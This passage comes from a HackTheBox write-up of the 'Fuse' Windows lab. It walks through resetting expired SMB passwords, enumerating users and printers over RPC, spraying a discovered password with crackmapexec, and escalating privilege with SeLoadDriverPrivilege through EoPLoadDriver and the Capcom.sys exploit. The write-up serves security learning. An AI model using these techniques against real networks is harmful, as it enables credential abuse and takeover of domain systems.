class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[/usr/share/wordlists/SecLists-master/Passwords]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# smbpasswd -r fabricorp.local -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Old SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;New SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Retype new SMB password:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;machine fabricorp.local rejected the password change: Error was : The transport connection is now disconnected..&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It kept saying the connection had failed. I was losing my mind. The message seemed to suggest it couldn&amp;rsquo;t be done locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118" target="_blank" rel="noopener"&#10; &gt;https://daniel-schwarzentraub.medium.com/tryhackme-boot-to-root-room-razorblack-8b4ec8ec5118&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This is a write-up for another box. The author ran into the same issue and chose impacket-smbpasswd to change the password.&lt;/p&gt;&#10;&lt;p&gt;Following that lead, I found this: &lt;a class="link" href="https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/snovvcrash/impacket/blob/smbpasswd/examples/smbpasswd.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0322.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;But the password hadn&amp;rsquo;t actually changed. It was still the original one.&lt;/p&gt;&#10;&lt;p&gt;Using the command below finally worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python smbpasswd.py bhult@fabricorp.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:Fabricorp@123!@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could connect over RPC, but after disconnecting, the password changed back again. I went online and grabbed a random password.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bhult:2x@oteL8YOJa&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -L //10.10.10.193/ -U bhult&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password for [WORKGROUP\bhult]:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;ADMIN$ Disk Remote Admin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;C$ Disk Default share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;HP-MFT01 Printer HP-MFT01&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;print$ Disk Printer Drivers&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB1 disabled -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now I could do quite a lot. (It seemed to reset once a minute, or perhaps immediately after a connection. Either way, it had to be one of those two.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Administrator] rid:[0x1f4]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[Guest] rid:[0x1f5]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[krbtgt] rid:[0x1f6]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[DefaultAccount] rid:[0x1f7]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-print] rid:[0x450]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bnielson] rid:[0x451]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[sthompson] rid:[0x641]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[tlavel] rid:[0x642]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[pmerton] rid:[0x643]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[svc-scan] rid:[0x645]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[bhult] rid:[0x1bbd]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dandrews] rid:[0x1bbe]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[mberbatov] rid:[0x1db1]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[astein] rid:[0x1db2]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;user:[dmuir] rid:[0x1db3]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GetUserSPNs.py fabricorp.local/bhult:YcfOrivT1QUp -dc-ip 10.10.10.193 -request&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;No entries found!&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;tlavel%9VwzPigFmknx&amp;#34; -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The RPC enumeration wordlist appears later and can extract all information; one useful result follows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flags:[0x800000]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;name:[\\10.10.10.193\HP-MFT01]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I tried logging in to scan2docs, but unfortunately it didn&amp;rsquo;t work. I went back to brute force since there were other accounts above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-print:$fab@s3Rv1ce$1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked and I could access it, but there weren&amp;rsquo;t any other directories. Next, I tried WinRM to see if I could get a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u svc-print -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany.exe didn&amp;rsquo;t give me much, so I checked the other findings first. If those went nowhere, I would try BloodHound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SeLoadDriverPrivilege is an interesting one. The two posts below explain it very well: the original article and a reproduction.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1180772" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1180772&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/" target="_blank" rel="noopener"&#10; &gt;https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also explained why svc-print could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~There is a compiled version of eoploaddriver in the author&amp;rsquo;s issue: ~~&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~Project URL: ~~&lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;The struck-through section above refers to the original tool mentioned in the article. It needs to be used with a sys file and gives you a lot of flexibility.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;The project below was also mentioned in the original article. You just need to package it as an EXE.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tandasat/ExploitCapcom/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tandasat/ExploitCapcom/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It pops open a cmd window with administrator privileges, but that obviously wasn&amp;rsquo;t what I wanted, so it only needed a small change.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is where it gets called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just replace it with whatever you want to execute. winPEASany had told me that the svc-print user&amp;rsquo;s directory was writable by everyone, so I chose that directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the tutorial, I had to load it first, but it said I didn&amp;rsquo;t have the required privilege.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled the problem, and it was the classic case of insufficient privileges.&lt;/p&gt;&#10;&lt;p&gt;Running it directly produced this error. (The reason below is that Capcom.sys had not been loaded.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Only at this point did I understand the full chain. The project above tells us to load Capcom.sys, and loading it requires the PoC tool. Once it has been loaded, we use the exploit above.&lt;/p&gt;&#10;&lt;p&gt;There was a precompiled build below, but unfortunately it kept failing for me, so I decided to compile it myself.&lt;/p&gt;&#10;&lt;p&gt;Precompiled project: &lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Source code: &lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Press Ctrl + Alt + L to open Solution Explorer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just create a new source file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The header file at the very top doesn&amp;rsquo;t matter, so delete it. Then switch to Release and build the solution, and you&amp;rsquo;re done.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the version I compiled myself worked without any issues. But then:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I had misunderstood the result. The svc-print directory was writable in the context of the current user, but SYSTEM still didn&amp;rsquo;t have permission to access it. I decided to move everything to a public directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test folder in the root directory was writable, so I put the files there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me a huge amount of time. Its rating was only 3.5 stars, probably because the path was so convoluted: many things had to be repeated, and much of it wasn&amp;rsquo;t standard. Still, I think it deserves five stars. This box has a lot in common with Forest.&lt;/p&gt;&#10;&lt;p&gt;Forest is mainly a classic, conventional Active Directory pentest. After studying the material, I could go back to Forest and understand almost everything. This box, however, had practically nothing to do with the usual approach. It did a much better job of expanding into another side of the topic: remotely changing passwords with smbpasswd, learning a few more wordlist-generation flags for brute force, and dealing with domain-user passwords that kept changing. I could actually have written a Bash shell script to keep obtaining the new password, but I didn&amp;rsquo;t. I spent far too much time solving those three problems. I had to dig deeper one step at a time before I understood the logic behind them. With the password changes, for example, I only later learned that a scheduled task was constantly resetting the passwords. The brute force was also extremely slow, which is why I generally dislike brute force. I just don&amp;rsquo;t enjoy it, but it&amp;rsquo;s still something you need to use often.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation section was new to me too. The blog authors understood the topic deeply enough that they could jump straight into using the technique, which left me completely confused at first and unsure how to exploit it. By the time I reached privilege escalation, my head was spinning. There was far too much to absorb between getting the shell and escalating privileges, and I tried a ridiculous number of things. After sleeping on it and coming back, though, the logic became much clearer.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll use both Forest and Fuse as review boxes later on.&lt;/p&gt;&#10;&lt;p&gt;At this point, I wanted to see 